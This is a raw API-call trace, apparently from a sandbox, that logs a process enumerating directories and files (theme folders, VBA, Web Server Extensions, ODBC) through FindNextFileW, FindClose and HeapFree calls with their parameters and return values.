	[0150.963] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="RMNSQUE", cAlternateFileName="")) returned 1
	[0150.963] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.963] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x289576aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x289576aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SATIN", cAlternateFileName="")) returned 1
	[0150.963] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.963] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SKY", cAlternateFileName="")) returned 1
	[0150.965] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.965] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c609b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c609b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SLATE", cAlternateFileName="")) returned 1
	[0150.968] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.968] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c3a755, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SONORA", cAlternateFileName="")) returned 1
	[0150.969] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.969] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SPRING", cAlternateFileName="")) returned 1
	[0150.969] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.969] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x28551719, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28551719, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="STRTEDGE", cAlternateFileName="")) returned 1
	[0150.969] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.969] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c3a755, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="STUDIO", cAlternateFileName="")) returned 1
	[0150.970] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.970] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SUMIPNTG", cAlternateFileName="")) returned 1
	[0150.970] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.970] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c86bce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c6c, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="THEMES.INF", cAlternateFileName="")) returned 1
	[0150.970] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.970] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="WATERMAR", cAlternateFileName="")) returned 1
	[0150.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.971] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="WATERMAR", cAlternateFileName="")) returned 0
	[0150.971] FindClose (in: hFindFile=0x5dde00 | out: hFindFile=0x5dde00) returned 1
	[0150.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0150.971] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0dcc568, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSLAT", cAlternateFileName="")) returned 1
	[0150.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.971] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc8aa06f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8aa06f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ENFR", cAlternateFileName="")) returned 1
	[0150.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.971] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c8cf9c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8aa06f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ESEN", cAlternateFileName="")) returned 1
	[0150.972] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.972] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf63a12a0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc91c74d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="FREN", cAlternateFileName="")) returned 1
	[0150.972] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.972] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27cace65, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="MSB1CACH.LEX", cAlternateFileName="")) returned 1
	[0150.972] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0150.972] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca8c279f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca8c279f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xca8c279f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA", cAlternateFileName="")) returned 1
	[0150.973] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0150.973] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca8c279f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca8c279f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdb5e071a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x42d088, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7.DLL", cAlternateFileName="")) returned 1
	[0150.973] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.973] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca8c279f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf24004e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf24004e4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="VBA7.1", cAlternateFileName="")) returned 0
	[0150.973] FindClose (in: hFindFile=0x5dde00 | out: hFindFile=0x5dde00) returned 1
	[0150.973] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0150.973] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52ea133, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x52ea133, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x52ea133, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio Shared", cAlternateFileName="VISIOS~1")) returned 1
	[0150.975] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.975] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52ea133, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x62b5b1e, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x62b5b1e, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="Fonts", cAlternateFileName="")) returned 0
	[0150.975] FindClose (in: hFindFile=0x5dde00 | out: hFindFile=0x5dde00) returned 1
	[0150.976] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0150.976] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 1
	[0150.976] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0150.976] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41be69c | out: lpFindFileData=0x41be69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27d1f57e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x239ec0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FPSRVUTL.DLL", cAlternateFileName="")) returned 1
	[0150.976] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0150.976] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca27806, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xca27806, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 0
	[0150.976] FindClose (in: hFindFile=0x5ddec0 | out: hFindFile=0x5ddec0) returned 1
	[0150.976] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.976] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="16", cAlternateFileName="")) returned 0
	[0150.976] FindClose (in: hFindFile=0x5dde80 | out: hFindFile=0x5dde80) returned 1
	[0150.976] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0150.977] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 0
	[0150.977] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0150.977] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0150.979] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e16872b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e16872b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2272ee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ODBC", cAlternateFileName="")) returned 1
	[0150.980] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.980] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e2272ee, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e2272ee, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2272ee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data Sources", cAlternateFileName="DATASO~1")) returned 0
	[0150.980] FindClose (in: hFindFile=0x5dde00 | out: hFindFile=0x5dde00) returned 1
	[0150.980] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0150.980] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SYSTEM", cAlternateFileName="")) returned 1
	[0151.499] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf23b4040, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0151.499] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf23b4040, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1
	[0151.500] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf23b4040, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0151.500] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf23b4040, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x10260, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 1
	[0151.500] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0151.500] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf23b4040, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0
	[0151.500] FindClose (in: hFindFile=0x5dde00 | out: hFindFile=0x5dde00) returned 1
	[0151.500] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0151.500] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb8dd674, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ole db", cAlternateFileName="OLEDB~1")) returned 1
	[0151.501] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb8dd674, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0151.501] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb8dd674, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb8dd674, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x284defd5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x44230, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="xmlrw.dll", cAlternateFileName="")) returned 1
	[0151.501] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0151.502] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb8dd674, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ole db", cAlternateFileName="OLEDB~1")) returned 0
	[0151.502] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
